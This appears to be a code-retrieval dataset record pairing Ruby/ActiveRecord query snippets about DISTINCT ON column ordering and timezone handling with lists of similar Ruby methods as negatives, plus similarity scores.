order_columns = orders.compact_blank.map { |s|
# Convert Arel node to string
s = visitor.compile(s) unless s.is_a?(String)
# Remove any ASC/DESC modifiers
s.gsub(/\s+(?:ASC|DESC)\b/i, "")
}.compact_blank.map.with_index { |column, i| "#{column} AS alias_#{i}" }
(order_columns << super).join(", ")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def supports_distinct_on?\n true\n end",
"def true_eager_graph_limit_strategy\n if associated_class.dataset.supports_ordered_distinct_on? && !offset\n :distinct_on\n else\n super\n end\n end",
"def group_by_columns\n @group = \" GROUP BY #{column_list_for(@columns)}\" if @columns.any?\n end",
"def distinct\n with_opts(:distinct=>true)\n end",
"def group_by\n end",
"def to_group_sql\n case\n when is_many?, is_string?, ThinkingSphinx.use_group_by_shortcut?\n nil\n else\n @columns.collect { |column|\n column_with_prefix(column)\n }\n end\n end",
"def show_first_unique()\n \n end",
"def apply_distinct_on_eager_limit_strategy(ds)\n keys = predicate_key\n ds.distinct(*keys).order_prepend(*keys)\n end",
"def high_single_order\n join_users_products_orders.order(\"order_total DESC\").group(\"order_id, users.first_name, users.last_name\").limit(1)\n end",
"def group_by\n\n end",
"def distinct(columns, order_by)\n \"DISTINCT #{columns_for_distinct(columns, order_by)}\"\n end",
"def distinct(columns, order_by)\n \"DISTINCT #{columns_for_distinct(columns, order_by)}\"\n end",
"def group_by?; @group_by; end",
"def query_all(args = {})\n query(args.merge(select: \"DISTINCT #{model.table_name}.*\"))\n end",
"def distinct(columns, order_by) #:nodoc:\n return \"DISTINCT #{columns}\" if order_by.blank?\n\n # Construct a clean list of column names from the ORDER BY clause, removing\n # any ASC/DESC modifiers\n order_columns = order_by.split(',').collect { |s| s.split.first }\n order_columns.delete_if { |c| c.blank? }\n order_columns = order_columns.zip((0...order_columns.size).to_a).map { |s,i| \"#{s} AS alias_#{i}\" }\n\n # Return a DISTINCT ON() clause that's distinct on the columns we want but includes\n # all the required columns for the ORDER BY to work properly.\n sql = \"DISTINCT ON (#{columns}) #{columns}, \"\n sql << order_columns * ', '\n end",
"def ungrouped\n cached_dataset(:_ungrouped_ds){clone(:group => nil, :having => nil)}\n end",
"def query_full\n query = @initial_query.dup\n\n # restrict to select columns\n query = query_projection(query)\n\n #filter\n query = query_filter(query)\n\n # sorting\n query = query_sort(query)\n\n # paging\n query_paging(query)\n end",
"def most_popular_group_per_year\n sql = <<-SQL\n -- SELECT year, category FROM guests GROUP BY year, category ORDER BY count(category), year DESC\n SELECT DISTINCT year, category, count(category) FROM guests GROUP BY year, category ORDER BY count(category) DESC\n SQL\n DB[:conn].execute(sql)\nend",
"def medium_risks_unique_sorted\n\t\t\t\t\tItem.where(:severity => 2).group(:plugin_id).order(Arel.sql('COUNT(*) DESC'))\n\t\t\t\t\t#select(\"items.*\").select(\"count(*) as count_all\").where(:severity => 2).group(:plugin_id).order(\"count_all DESC\")\n\t\t\t\tend",
"def distinct(columns, order_by)\n return \"DISTINCT #{columns}\" if order_by.blank?\n\n # construct a valid DISTINCT clause, ie. one that includes the ORDER BY columns, using\n # FIRST_VALUE such that the inclusion of these columns doesn't invalidate the DISTINCT\n order_columns = order_by.split(',').map { |s| s.strip }.reject(&:blank?)\n order_columns = order_columns.zip((0...order_columns.size).to_a).map do |c, i|\n \"FIRST_VALUE(#{c.split.first}) OVER (PARTITION BY #{columns} ORDER BY #{c}) AS alias_#{i}__\"\n end\n sql = \"DISTINCT #{columns}, \"\n sql << order_columns * \", \"\n end",
"def low_risks_unique_sorted\n\t\t\t\t\tselect(\"items.*\").select(\"count(*) as count_all\").where(:severity => 1).group(:plugin_id).order(\"count_all DESC\")\n\t\t\t\tend",
"def group_by\n @group_by ||= (defaults[:group_by] || [])\n end",
"def high_risks_unique_sorted\n\t\t\t\t\tItem.where(:severity => 3).group(:plugin_id).order(Arel.sql('COUNT(*) DESC'))\n\t\t\t\t\t#select(\"items.*\").select(\"count(*) as count_all\").where(:severity => 3).group(:plugin_id).order(\"count_all DESC\")\n\t\t\t\tend",
"def cases_grouped_by_status(options = {}) \n options.delete_if { |key,value| value.blank? }\n options = {:sort => 'sfcase.last_modified_date', :order => 'DESC', :all_at_company => false}.merge(options)\n sort_sql = options[:sort] + ' ' + options[:order]\n \n if options[:all_at_company] and company\n # owner sort is handled thru Ruby...could be \n # either a Sfgroup or a Sfuser\n if options[:sort] == 'sfuser.last_name'\n cases = Sfcase.find(:all, :include => [:contact], \n :conditions => [\"sfcase.contact_id IN (?)\",company.associated_contacts.map { |c| c.id }])\n cases = sort_cases_by_owner(cases,options)\n else \n cases = Sfcase.find(:all, :include => [:contact], \n :conditions => [\"sfcase.contact_id IN (?)\",company.associated_contacts.map { |c| c.id }], \n :order => sort_sql).group_by(&:status)\n end\n else\n if options[:sort] == 'sfuser.last_name'\n cases = Sfcase.find(:all, \n :include => [:contact], \n :conditions => \"sfcase.contact_id = '#{id}'\")\n cases = sort_cases_by_owner(cases,options)\n else\n cases = Sfcase.find(:all, \n :include => [:contact], \n :conditions => \"sfcase.contact_id = '#{id}'\", \n :order => sort_sql).group_by(&:status)\n end\n end\n # cases = self.cases.find(:all, :order => sort_sql ).group_by(&:status)\n # cases = cases.group_by(&:status)\n ordered_cases = []\n AppConstants::CASE_SORT_ORDER.each do |status|\n cases.keys.each do |key|\n if key == status\n ordered_cases << [key,cases[key]]\n cases.delete(key)\n end\n end\n end\n # add in cases that aren't of any of the specified groups\n ordered_cases\n # now add in other case statuses\n cases.keys.each do |key|\n ordered_cases << [key, cases[key]]\n end\n ordered_cases\n end",
"def toponly()\n merge(grctoponly: 'true')\n end",
"def group_by(column)\n @conjunction.add_group_by(column)\n nil\n end",
"def group_by_sort_clause\n return nil unless grouped?\n order_clause group_by, \n (default_order_for(group_by) || :asc), \n (sortable_for(group_by) || true)\n end",
"def full full\n @options[:full] = booleanize 'Full', full\n self\n end",
"def simple_select_all?\n return false unless (f = @opts[:from]) && f.length == 1\n o = @opts.reject{|k,v| v.nil? || non_sql_option?(k)}\n from = f.first\n from = from.expression if from.is_a?(SQL::AliasedExpression)\n\n if SIMPLE_SELECT_ALL_ALLOWED_FROM.any?{|x| from.is_a?(x)}\n case o.length\n when 1\n true\n when 2\n (s = o[:select]) && s.length == 1 && s.first.is_a?(SQL::ColumnAll)\n else\n false\n end\n else\n false\n end\n end",
"def supports_count_distinct?\n false\n end",
"def unique_combinations(array, aggregate, all=Set.new, current=[], start=0, &aggregator)\n return all if array.length == start\n (1..array.length-start).flat_map do |offset|\n index = start + offset\n element = array[index-1]\n nextaggregate, prune = aggregator.call(aggregate, element)\n break if prune\n combination = [*current, element]\n unless all.include? combination\n all << combination\n unique_combinations(array, nextaggregate, all, combination, index, &aggregator)\n end\n end\n all\nend",
"def latest_answers\n unscope(:order).select('DISTINCT ON (question_id) *').order(:question_id, created_at: :desc)\n end",
"def latest_answers\n unscope(:order).select('DISTINCT ON (question_id) *').order(:question_id, created_at: :desc)\n end",
"def latest_answers\n unscope(:order).select('DISTINCT ON (question_id) *').order(:question_id, created_at: :desc)\n end",
"def groupable_columns\n available_columns.select {|c| c.groupable}\n end",
"def groupable_columns\n available_columns.select {|c| c.groupable}\n end",
"def unique_fast_plants_sorted_by_most_popular\n plants\n .select(\"plants.*, count(plants) as plant_count\")\n .where('days_to_harvest < ?', 90)\n .group(:id)\n .order(plant_count: :desc)\n .distinct\n end",
"def apply_filter_by_associations_distinct_on_limit_strategy(ds)\n k = filter_by_associations_limit_key \n ds.where(k=>apply_distinct_on_eager_limit_strategy(associated_eager_dataset.select(*k)))\n end",
"def group_by_sort_order\n if grouped? && (column = group_by_column)\n column.sortable.is_a?(Array) ?\n column.sortable.collect {|s| \"#{s} #{column.default_order}\"}.join(',') :\n \"#{column.sortable} #{column.default_order}\"\n end\n end",
"def to_hash_groups(key_column, value_column=nil, opts=OPTS)\n if (@opts[:eager_graph] || @opts[:eager]) && !opts.has_key?(:all)\n opts = Hash[opts]\n opts[:all] = true\n end\n super\n end",
"def grouped?\n !group_by_column.nil?\n end",
"def grouped?\n !group_by_column.nil?\n end",
"def uniq_by!(&block)\n ActiveSupport::Deprecation.warn 'uniq_by! is deprecated. Use Array#uniq! instead'\n uniq!(&block)\n end",
"def ResetGroupBy\n @groupby = ''\n @groupfunc = SPH_GROUPBY_DAY\n @groupsort = '@group desc'\n @groupdistinct = ''\n end",
"def critical_risks_unique_sorted\n\t\t\t\t\t#Item.select(\"items.*\").select(\"count(*) as count_all\").where(:severity => 4).group(:plugin_id).order(\"count_all DESC\")\n\t\t\t\t\tItem.where(:severity => 4).group(:plugin_id).order(Arel.sql('COUNT(*) DESC'))\n\t\t\t\tend",
"def all_risks_unique_sorted\n\t\t\t\t select(\"items.*\").select(\"count(*) as count_all\").group(:plugin_id).order(\"count_all DESC\")\n\t\t\t\tend",
"def acts_as_aggregated(options = {})\n options.symbolize_keys!\n\n options.assert_valid_keys(:cache_by, :non_content_columns)\n include AggregatedBehavior\n\n if options[:cache_by].present?\n @aggregated_caching_column = options[:cache_by]\n include AggregatedCacheBehavior\n end\n\n if options[:non_content_columns]\n self.aggregated_behaviour_non_content_columns += Array.wrap(options[:non_content_columns]).map(&:to_s)\n end\n end",
"def uniq_by!(&block)\n ActiveSupport::Deprecation.warn 'uniq_by! is deprecated. Use Array#uniq! instead', caller\n uniq!(&block)\n end",
"def merge_distinct_on\n return if other.distinct_on_values.blank?\n relation.distinct_on_values += other.distinct_on_values\n end",
"def groupbysection()\n merge(notgroupbysection: 'true')\n end",
"def full_set(special=nil)\n return [self] if new_record? or self[acts_as_nested_set_options[:right_column]]-self[acts_as_nested_set_options[:left_column]] == 1\n# self.class.find(:all, :conditions => \"#{acts_as_nested_set_options[:scope]} AND (#{acts_as_nested_set_options[:left_column]} BETWEEN #{self[acts_as_nested_set_options[:left_column]]} and #{self[acts_as_nested_set_options[:right_column]]})\", :order => acts_as_nested_set_options[:left_column])\n [self] + all_children(special)\n end",
"def supports_count_distinct?\n true\n end",
"def fields_with_consistent_order\n fields.sort { |f1, f2| f1.schema_id <=> f2.schema_id }\n end",
"def grouped_order_details\n sorted_order_details = order_details.sort_by(&:safe_group_id)\n sorted_order_details.slice_when do |before, after|\n before.group_id.nil? || before.group_id != after.group_id\n end\n end",
"def clean_result_set(result_set)\n result_set.each do |set|\n set.sort!\n end\n result_set.sort! {|a,b| a.size <=> b.size}\n end",
"def grouped_duplicates(collection); end",
"def columns_for_distinct(columns, orders) #:nodoc:\n order_columns = orders.reject(&:blank?).map{ |s|\n # Convert Arel node to string\n s = s.to_sql unless s.is_a?(String)\n # Remove any ASC/DESC modifiers\n s.gsub(/\\s+(?:ASC|DESC)\\b/i, '')\n .gsub(/\\s+NULLS\\s+(?:FIRST|LAST)\\b/i, '')\n }.reject(&:blank?).map.with_index { |column, i| \"#{column} AS alias_#{i}\" }\n\n (order_columns << super).join(', ')\n end",
"def toponly()\n merge(uctoponly: 'true')\n end",
"def get_all_groups\n grps = []\n grps += self.groups\n grps.each { |g| grps += g.get_all_groups }\n return grps.compact.uniq\n end",
"def group_all\n grp = {}\n grp.merge!(groupby_fields)\n grp.merge!(groupby_values)\n { '$group' => grp }\n end",
"def full_messages\n @set.map(&:full_message).sort\n end",
"def summarize_per_subset\n @having = ANY_ROWS\n end",
"def full_set(options = {})\n return [self] if new_record? or self[nested_set_right]-self[nested_set_left] == 1\n [self] + all_children(options)\n end",
"def columns_for_distinct(columns, orders) #:nodoc:\n order_columns = orders.reject(&:blank?).map{ |s|\n # Convert Arel node to string\n s = s.to_sql unless s.is_a?(String)\n # Remove any ASC/DESC modifiers\n s.gsub(/\\s+(?:ASC|DESC)\\b/i, '')\n .gsub(/\\s+NULLS\\s+(?:FIRST|LAST)\\b/i, '')\n }.reject(&:blank?).map.with_index { |column, i| \"#{column} AS alias_#{i}\" }\n\n [super, *order_columns].join(', ')\n end",
"def get_group_by\n @group_by\n end",
"def columns_for_distinct(columns, orders)\n # Lifted from the default Postgres implementation\n order_columns = orders.map{ |s|\n # Convert Arel node to string\n s = s.to_sql unless s.is_a?(String)\n # Remove any ASC/DESC modifiers\n s.gsub(/\\s+(ASC|DESC)\\s*(NULLS\\s+(FIRST|LAST)\\s*)?/i, '')\n }.reject(&:blank?).map.with_index { |column, i| \"#{column} AS alias_#{i}\" }\n\n [super, *order_columns].join(', ')\n end",
"def denormalize_data(sort_mode)\n $logger.info('Denormalizing group data...')\n # Since members are stored in a subarray, we have to compute the needed number of columns and populate them\n max_member_columns = @groups.max_by { |a| a.members.uniq.size }.members.uniq.size\n out = @groups.collect(&:to_hash)\n out.collect { |a| (0..[max_member_columns,a['members'].size].min - 1).collect { |b| a[\"Member_#{b}\"] = a['members'][b] } }\n # Having expanded the members data, delete the original form since it's not needed or probably parseable meaningfully\n out.collect { |a| a.delete('members') }\n sort_key = sort_mode == 'id' ? 'gid' : 'name'\n out.sort! { |a, b| a[sort_key] <=> b[sort_key] }\n end",
"def show_full\n @show_full=true\n end",
"def select_all\n @groups_hosts.values.flatten.delete_if{|v| v == nil}.sort\n end",
"def grouped_duplicates(collection)\n collection.group_by { |item| item }.values.reject(&:one?)\n end",
"def all_groups\r\n result = []\r\n self.groups.each { |group| result << group.descendants_and_self }\r\n result.flatten!\r\n result.uniq!\r\n return result\r\n end",
"def group_by_sort_order\n if grouped? && (column = group_by_column)\n order = sort_criteria_order_for(column.name) || column.default_order\n column.sortable.is_a?(Array) ?\n column.sortable.collect {|s| \"#{s} #{order}\"}.join(',') :\n \"#{column.sortable} #{order}\"\n end\n end",
"def subquery_columns\n explicit_columns_in_subquery? ? explicit_columns : super\n end",
"def subqueries\n [\n select_distinct_on,\n # default filters -- all scopes have them\n filter_by_subscription_or_topics,\n filter_by_start_date,\n filter_by_end_date,\n # grouping\n group_distinct_on,\n # ordering for GROUP BY\n order_distinct_on,\n ]\n end",
"def summarize_per_table_dum\n @having = NO_ROWS\n end",
"def supports_index_null_order?\n false\n end",
"def normalize_data(sort_mode)\n $logger.info('Normalizing group data...')\n groups_grouped = @groups.collect(&:to_hash).group_by do|a|\n { 'gid' => a['gid'],\n 'name' => a['name'],\n 'members' => a['members'] }\n end\n out = groups_grouped.collect do |a|\n a[0].merge('nodes' => a[1].collect { |b| b['source_node'] }.uniq.sort!)\n end\n out.compact!\n out = out.group_by do |a|\n { 'gid' => a['gid'], 'name' => a['name'], 'membership' => { 'members' => a['members'], 'nodes' => a['nodes'] } }\n end\n out = out.keys\n out = out.group_by { |a| { 'gid' => a['gid'], 'name' => a['name'] } }.collect do |a|\n a[0].merge('membership' => a[1].collect { |b| b['membership'] })\n end\n sort_key = sort_mode == 'id' ? 'gid' : 'name'\n out.sort! { |a, b| a[sort_key] <=> b[sort_key] }\n end",
"def distinct\n result = empty_dup\n uniq_rows = rows.uniq\n uniq_rows.each do |row|\n result << row\n end\n result\n end",
"def cogroup(*others)\n unioned = self\n others.each do |other|\n unioned = unioned.union(other)\n end\n\n unioned.group_by_key\n end",
"def show\n @order = Order.find(params[:id])\n @users = []\n\n @order.groupas.each do |ga|\n ga.groupa_users.each do |u|\n @users << u.user if u.user\n end\n end\n @order.groupbs.each do |gb|\n gb.groupb_users.each do |u|\n @users << u.user if u.user\n end\n end\n @order.groupcs.each do |gc|\n gc.groupc_users.each do |u|\n @users << u.user if u.user\n end\n end\n @users << @order.user\n @users.uniq!\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @order }\n end\n end",
"def is_sorted\r\n false\r\n end",
"def group_by_default(group_by)\n defaults[:group_by] = group_by\n end",
"def apply_eager_graph_limit_strategy(strategy, ds)\n case strategy\n when :distinct_on\n apply_distinct_on_eager_limit_strategy(ds.order_prepend(*self[:order]))\n when :window_function\n apply_window_function_eager_limit_strategy(ds.order_prepend(*self[:order])).select(*ds.columns)\n else\n ds\n end\n end",
"def group_keys(include_all = false)\n keys = @group.entries(include_all).collect {|e| e.key }\n unless @group.key.blank?\n keys.collect! {|k| k.gsub(@group.key + '.', '') }\n end\n keys\n end",
"def groupable_columns_options(query, columns)\n columns_options = columns.collect do |column|\n #######################\n # Smile specific #245965 Rapport : critères, indication type champ personnalisé\n # Smile specific : New hook\n criteria_order = nil\n column_label = column.caption\n\n criteria_order_hook, column_label_hook = Query.column_label_and_order_hook(query, column)\n\n if criteria_order_hook\n criteria_order = criteria_order_hook\n column_label = column_label_hook\n end\n # END -- Smile specific #245965 Rapport : critères, indication type champ personnalisé\n #######################\n\n ################\n # Smile specific #245965 Rapport : critères, indication type champ personnalisé\n # Smile specific : column.caption -> column_label\n # Smile specific : added third value in array for order\n [column_label, column.name, criteria_order]\n end\n\n ################\n # Smile specific #245965 Rapport : critères, indication type champ personnalisé\n # Smile specific : sort with criteria order\n sort_options_by_label_and_order!(columns_options)\n\n ################\n # Smile specific #245965 Rapport : critères, indication type champ personnalisé\n # Smile specific : remove last element used to sort => will remain [column_label, column.name]\n columns_options = columns_options.collect{|k| [k[0], k[1]]}\n end",
"def group_rollup\n raise Error, \"GROUP BY ROLLUP not supported on #{db.database_type}\" unless supports_group_rollup?\n clone(:group_options=>:rollup)\n end",
"def get_all_groups(empty_size = 2)\n @groups = []\n iter = 1\n empty_buffer = 0\n\n loop do\n group = @zbx.query( method: \"hostgroup.get\", params: {\"output\" => \"extend\", \"groupids\" => [iter] } )\n iter += 1\n\n if group != []\n @groups.push(group)\n else\n empty_buffer += 1\n end\n\n if empty_buffer > empty_size\n break\n end\n end\n return true if @groups.size > 0\n end",
"def distinct_count_sql(records)\n \"DISTINCT #{records.table_name}.#{records.primary_key}\"\n end",
"def ordered_group_by_first(pairs, child_key = nil)\n pairs.inject([[], nil]) do |memo, pair|\n result, previous_value = memo\n current_value = pair.first\n if previous_value != current_value\n if child_key && result.last && (obj = result.last.last)\n if obj.first.is_a?(Hash)\n obj.sort!{|a,b| a[child_key] <=> b[child_key]}\n else\n obj.sort!{|a,b| a <=> b}\n end\n end\n result << [current_value, []]\n end\n result.last.last << pair.last\n [result, current_value]\n end.first\nend",
"def distinct(columns, orders) #:nodoc:\n return \"DISTINCT #{columns}\" if orders.empty?\n\n # Construct a clean list of column names from the ORDER BY clause, removing\n # any ASC/DESC modifiers\n order_columns = orders.collect { |s| s.gsub(/\\s+(ASC|DESC)\\s*/i, '') }.\n reject(&:blank?)\n order_columns = order_columns.\n zip((0...order_columns.size).to_a).map { |s,i| \"#{s} AS alias_#{i}\" }\n\n \"DISTINCT #{columns}, #{order_columns * ', '}\"\n end",
"def info_risks_unique_sorted\n\t\t\t\t\tselect(\"items.*\").select(\"count(*) as count_all\").where(:severity => 0).group(:plugin_id).order(\"count_all DESC\")\n\t\t\t\tend",
"def group_by_appeareance\n @input_array.group_by(&:itself)\n end",
"def top_locations_unique_users_sql\n \"SELECT locations.name AS name, COUNT(DISTINCT users.id) AS num_users\n FROM users, locations, posts\n WHERE posts.location_id = locations.id AND posts.user_id = users.id\n GROUP BY locations.id\n HAVING COUNT(DISTINCT users.id)>2\n ORDER BY COUNT(DISTINCT users.id) DESC\n LIMIT 5\"\n end",
"def full_set(special=nil)\n if special && special[:exclude]\n exclude_str = \" AND NOT (#{base_set_class.sql_for(special[:exclude])}) \"\n elsif new_record? || self[right_col_name] - self[left_col_name] == 1\n return [self]\n end\n base_set_class.find(:all, :conditions => \"#{scope_condition} #{exclude_str} AND (#{left_col_name} BETWEEN #{self[left_col_name]} AND #{self[right_col_name]})\", :order => left_col_name)\n end",
"def patched_bogo_sort!\n return self if empty?\n\n bogo_private\n end",
"def aggrPyFull(aggr)\n case aggr\n when DataMetaDom::Field::LIST\n 'List'\n when DataMetaDom::Field::SET\n 'Set'\n when DataMetaDom::Field::DEQUE\n 'Deque' # note this is different from Java\n else\n raise ArgumentError, \"Aggregate type #{aggr} not supported for Python serialization\"\n end\n end",
"def consolidate_device_groups\n if self.device_groups.length > 1\n self.device_groups -= self.device_groups.map(&:descendants).flatten\n end\n end",
"def uniq_by\n clean = []\n self.collect{|x| yield(x)}.uniq.each do |x|\n clean << self.select{|y| yield(y) == x}.last\n end\n clean\n end",
"def build_subselect(key, o)\n subselect = super\n\n # Materialize subquery by adding distinct\n # to work with MySQL 5.7.6 which sets optimizer_switch='derived_merge=on'\n unless has_limit_or_offset_or_orders?(subselect)\n core = subselect.cores.last\n core.set_quantifier = Arel::Nodes::Distinct.new\n end\n\n Nodes::SelectStatement.new.tap do |stmt|\n core = stmt.cores.last\n core.froms = Nodes::Grouping.new(subselect).as(\"__active_record_temp\")\n core.projections = [Arel.sql(quote_column_name(key.name))]\n end\n end",
"def all_items\n # can not filter for aggregate function, so use subquery instead of\n # COUNT(comments.id) AS comments_count,\n # postgres STRING_AGG is GROUP_CONCAT in mysql\n Post.select(%(\n posts.*,\n (#{comments_count}) AS comments_count,\n GROUP_CONCAT(comments.body) AS comments_body\n ))\n .left_outer_joins(:comments)\n .group('posts.id')\n end"
] |
[
"0.52293396",
"0.51240957",
"0.49794465",
"0.4902737",
"0.48602208",
"0.48571762",
"0.48424357",
"0.48359713",
"0.48271644",
"0.48014584",
"0.4756107",
"0.4756107",
"0.47556338",
"0.47359815",
"0.46529257",
"0.4633993",
"0.462892",
"0.4621168",
"0.460874",
"0.45970824",
"0.45855182",
"0.45733428",
"0.4548988",
"0.45135844",
"0.44718736",
"0.4465248",
"0.44533092",
"0.44362128",
"0.44304806",
"0.44268018",
"0.44173956",
"0.44105396",
"0.44105396",
"0.44105396",
"0.4407914",
"0.4407914",
"0.44018465",
"0.4399505",
"0.43866283",
"0.43848795",
"0.43791756",
"0.43791756",
"0.4364585",
"0.43567625",
"0.4355859",
"0.43485522",
"0.43442854",
"0.43343353",
"0.43321678",
"0.43166155",
"0.4316577",
"0.4313837",
"0.43065906",
"0.4295035",
"0.4281392",
"0.42688438",
"0.42538866",
"0.42335364",
"0.42257556",
"0.42236525",
"0.4219863",
"0.42165297",
"0.42103025",
"0.421029",
"0.42011997",
"0.4194113",
"0.41883063",
"0.41704455",
"0.41654512",
"0.41590613",
"0.41493922",
"0.41466528",
"0.41364363",
"0.4131232",
"0.41215622",
"0.41140816",
"0.4113208",
"0.41074103",
"0.41037732",
"0.41036904",
"0.40910256",
"0.40880394",
"0.40844283",
"0.40791875",
"0.40625915",
"0.40614155",
"0.40611207",
"0.40567872",
"0.4048366",
"0.40440243",
"0.40398112",
"0.4036651",
"0.40288252",
"0.40273225",
"0.40241116",
"0.4017197",
"0.40109566",
"0.4010916",
"0.40072536",
"0.39988342"
] |
0.41668966
|
68
|
Make sure we carry over any changes to ActiveRecord.default_timezone that have been made since we established the connection
|
def sync_timezone_changes(raw_connection)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def populate_timezones\n if new_record?\n self.created_at_timezone ||= Time.zone.name\n else\n if self.deleted?\n self.deleted_at_timezone ||= Time.zone.name\n end\n end\n end",
"def set_timezone\n Time.zone = Time.zone_default\n end",
"def before_setup\n @original_time_zone = Time.zone\n super\n end",
"def set_timezone(timezone); end",
"def set_timezone(timezone); end",
"def set_timezone(timezone); end",
"def set_timezone(timezone); end",
"def set_timezone(timezone); end",
"def initialize_time_zone\n if configuration.time_zone\n zone_default = Time.__send__(:get_zone, configuration.time_zone)\n\n unless zone_default\n raise \\\n 'Value assigned to config.time_zone not recognized.' +\n 'Run \"rake -D time\" for a list of tasks for finding appropriate time zone names.'\n end\n\n Time.zone_default = zone_default\n\n if defined?(ActiveRecord)\n ActiveRecord::Base.time_zone_aware_attributes = true\n ActiveRecord::Base.default_timezone = :utc\n end\n end\n end",
"def timezone\n @timezone || Sequel.database_timezone\n end",
"def set_timezone()\n current_tz = Time.zone\n if logged_in?\n Time.zone = current_user.timezone\n end\n ensure\n Time.zone = current_tz\n end",
"def after_teardown\n super\n Time.zone = @original_time_zone\n end",
"def set_time_zone\n # Make sure blank is always nil\n self.time_zone = nil if time_zone.blank?\n # If there are coordinates, use them to set the time zone, and reject\n # changes to the time zone if the coordinates have not changed\n if georeferenced?\n if coordinates_changed?\n lat = ( latitude_changed? || private_latitude.blank? ) ? latitude : private_latitude\n lng = ( longitude_changed? || private_longitude.blank? ) ? longitude : private_longitude\n self.time_zone = TimeZoneGeometry.time_zone_from_lat_lng( lat, lng ).try(:name)\n self.zic_time_zone = ActiveSupport::TimeZone::MAPPING[time_zone] unless time_zone.blank?\n elsif time_zone_changed?\n self.time_zone = time_zone_was\n self.zic_time_zone = zic_time_zone_was\n end\n end\n # Try to assign a reasonable default time zone\n if time_zone.blank?\n self.time_zone = nil\n self.time_zone ||= user.time_zone if user && !user.time_zone.blank?\n self.time_zone ||= Time.zone.try(:name) unless time_observed_at.blank?\n self.time_zone ||= 'UTC'\n end\n if !time_zone.blank? && !ActiveSupport::TimeZone::MAPPING[time_zone] && ActiveSupport::TimeZone[time_zone]\n # We've got a zic time zone\n self.zic_time_zone = time_zone\n self.time_zone = if rails_tz = ActiveSupport::TimeZone::MAPPING.invert[time_zone]\n rails_tz\n elsif ActiveSupport::TimeZone::INAT_MAPPING[time_zone]\n # Now we're in trouble, b/c the client specified a valid IANA time\n # zone that TZInfo knows about, but it's one Rails chooses to ignore\n # and doesn't provide any mapping for so... we have to map it\n ActiveSupport::TimeZone::INAT_MAPPING[time_zone]\n elsif time_zone =~ /^Etc\\//\n # If we don't have custom mapping and there's no fancy Rails wrapper\n # and it's one of these weird oceanic Etc zones, use that as the\n # time_zone. Rails can use that to cast times into other zones, even\n # if it doesn't recognize it as its own zone\n time_zone\n else\n ActiveSupport::TimeZone[time_zone].name\n end\n end\n self.time_zone ||= user.time_zone if user && !user.time_zone.blank?\n self.zic_time_zone ||= ActiveSupport::TimeZone::MAPPING[time_zone] unless time_zone.blank?\n if !zic_time_zone.blank? && ActiveSupport::TimeZone::MAPPING[zic_time_zone] && ActiveSupport::TimeZone[zic_time_zone]\n self.zic_time_zone = ActiveSupport::TimeZone::MAPPING[zic_time_zone]\n end\n true\n end",
"def default_timezone\n @default_timezone || :local\n end",
"def set_timezone\n Time.zone = current_account.time_zone if current_account.time_zone\n end",
"def set_timezone\n tz = Profile.find_by_user_id(current_user.id).timezone\n @timezone = Time.now.in_time_zone(tz).strftime('%z')\n if current_user\n User.current = current_user\n end\n end",
"def tz_timezone ; timezone? ? TZInfo::Timezone.get(@timezone) : nil ; end",
"def timezone\n @@tz || @@tz = TZInfo::Timezone.get(Time.now.zone)\n end",
"def set_timezone\n \tTime.zone = \"Pacific Time (US & Canada)\"\n \tend",
"def set_timezone(force = false)\n if self.current_sign_in_ip && (force || self.time_zone.blank?)\n coordinates = Geocoder.search(self.current_sign_in_ip).first.coordinates\n timezone = Timezone::Zone.new(latlon: coordinates) unless [0.0, 0.0]\n self.update_attribute(:time_zone, timezone) if timezone\n end\n end",
"def time_zone\n super\n end",
"def time_zone; end",
"def time_zone; end",
"def time_zone; end",
"def time_zone; end",
"def time_zone; end",
"def set_timezone\n tz = current_user ? current_user.time_zone : nil\n Time.zone = tz || ActiveSupport::TimeZone[\"UTC\"]\n end",
"def tz\n ActiveSupport::TimeZone.new timezone\n end",
"def set_timezone\n Time.zone = @user.time_zone if has_session?\n end",
"def get_time_zone\n return nil if new_record?\n time_zone || lambda{\n _zone = nil\n _zone = GeoIP.new(Rails.root.join('lib', 'geoip_files', 'GeoLiteCity.dat')).city(last_sign_in_ip).try(:timezone) if last_sign_in_ip\n update_column(:time_zone, _zone) if _zone\n _zone\n }.call\n end",
"def set_timezone\n Time.zone = current_user.try(:time_zone) || 'Eastern Time (US & Canada)'\n end",
"def tenant_default_timezone=(value)\n @tenant_default_timezone = value\n end",
"def set_timezone\n default_timezone = Time.zone\n client_timezone = cookies[:timezone]\n # puts \"Na to to coooookie\"\n # puts client_timezone\n Time.zone = client_timezone if client_timezone.present?\n yield\n ensure\n Time.zone = default_timezone\n end",
"def v_time_zone_inutilisee\n @time_zone ||= (self.time_zone.blank? ? nil : ActiveSupport::TimeZone[self.time_zone])\n end",
"def set_timezone\n loc = Location.find(self.location_id)\n self.time_zone, self.localGMToffset = loc.time_zone, loc.localGMToffset\n end",
"def set_timezone\n u = User.find_by_id(current_user.id)\n u.timezone = params[:timezone]\n u.save\n render :layout => false\n end",
"def with_timezone\n Time.use_zone(current_user_timezone) { yield }\n end",
"def in_zone(zone_name, &block)\n\n EtOrbi.class_eval do\n @local_tzone = nil\n @local_tzone_tz = nil\n @local_tzone_loaded_at = nil\n end\n\n prev_tz = ENV['TZ']\n\n if zone_name == :no_env_tz\n ENV.delete('TZ')\n elsif zone_name == nil\n ENV['TZ'] = EtOrbi.os_tz\n else\n zone_name = EtOrbi.to_windows_tz(zone_name) if Gem.win_platform?\n ENV['TZ'] = zone_name\n end\n\n block.call\n\nensure\n\n ENV['TZ'] = prev_tz\nend",
"def setup_timezone\n timezone = config.dig(\"timezone\").split(\"-\").first.chomp(\" \")\n\n application nil do\n <<~CONFS\n # Default timezone\n config.time_zone = \"#{timezone}\"\n\n CONFS\n end\n end",
"def ensure_zone!\n raise \"Must have active connection\" unless @zone\n end",
"def set_time_zone\n old_time_zone = Time.zone\n\n new_time_zone = user_time_zone()\n \n Time.zone = new_time_zone if new_time_zone\n\n yield\n ensure # make sure we restore old time zone\n Time.zone = old_time_zone\n end",
"def set_timezone\n Time.zone = cookies[\"time_zone\"]\n end",
"def create_timezone\n raise_not_implemented('create_timezone')\n end",
"def set_timezone\n if user_signed_in?\n Time.zone = current_user.timezone\n else\n Time.zone = 'Eastern Time (US & Canada)'\n end\n end",
"def set_time_zone\n Time.zone = current_user.time_zone\n end",
"def set_time_zone\n Time.zone = 'Warsaw'\n end",
